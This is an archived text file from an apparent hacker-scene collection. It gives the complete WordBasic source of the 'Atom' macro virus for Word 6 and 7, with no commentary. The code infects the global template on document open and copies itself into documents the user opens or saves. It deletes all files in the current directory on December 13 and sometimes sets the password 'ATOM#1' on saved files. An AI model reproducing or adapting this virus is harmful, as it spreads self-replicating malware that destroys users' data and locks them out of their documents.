home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / MVUPDAT3.ZIP / ATOM.ZIP / ATOM.TXT < prev    next >
Text File  |  1996-01-21  |  2KB  |  83 lines
  1. Atom - Virus for WinWord 6,7
  2.  
  3.  
  4. Macros: Atom
  5.  
  6. Sub MAIN
  7. On Error Goto KillError
  8. If Day(Now()) = 13 And Month(Now() = 12) Then
  9.     Kill "*.*"
  10. End If
  11. KillError:
  12. End Sub
  13.  
  14.  
  15.  
  16. Macros: AutoOpen
  17.  
  18. Sub MAIN
  19. Dim FN$
  20. FN$ = FileName$()
  21. On Error Goto ErrorInfectGlobalTemplate
  22. If (CheckInfected = 0) Then
  23.     MacroCopy FN$ + ":FileSaveAs", "FileSaveAs", 1
  24.     MacroCopy FN$ + ":FileOpen", "FileOpen", 1
  25.     MacroCopy FN$ + ":AutoOpen", "AutoOpen", 1
  26.     MacroCopy FN$ + ":Atom", "Atom", 1
  27.     SaveTemplate        
  28. End If
  29. Call Atom
  30. ErrorInfectGlobalTemplate:
  31. End Sub
  32.  
  33. Function CheckInfected
  34. CheckInfected = 0
  35. If (CountMacros(0) >= 4) Then
  36.     For I = 1 To CountMacros(0)
  37.         If (MacroName$(I, 0) = "Atom") Then
  38.             CheckInfected = 1
  39.         End If             
  40.     Next I           
  41. End If
  42. End Function
  43.  
  44.  
  45.  
  46. Macros: FileOpen
  47.  
  48. Sub MAIN
  49. On Error Goto InfError
  50. Dim dlg As FileOpen
  51. GetCurValues dlg
  52. Dialog dlg
  53. FileOpen dlg
  54. MacroCopy "AutoOpen", Dlg.Name + ":AutoOpen", 1
  55. MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1
  56. MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1
  57. MacroCopy "Atom", Dlg.Name + ":Atom", 1
  58. FileSaveAs .Format = 1
  59. InfError:
  60. End Sub
  61.  
  62.  
  63.  
  64. Macros: FileSaveAs
  65.  
  66. Sub MAIN
  67. Dim dlg As FileSaveAs
  68. GetCurValues dlg
  69. Dialog dlg
  70. If (Dlg.Format = 0) Or (Dlg.Format = 1) Then
  71.     MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1
  72.     MacroCopy "AutoOpen", WindowName$() + ":AutoOpen", 1
  73.     MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1
  74.     MacroCopy "Atom", WindowName$() + ":Atom", 1
  75.     Dlg.Format = 1
  76. End If
  77. If (Second(Now()) = 13) Then
  78.     Dlg.Password = "ATOM#1"
  79. End If  
  80. FileSaveAs dlg
  81. End Sub
  82.  
  83.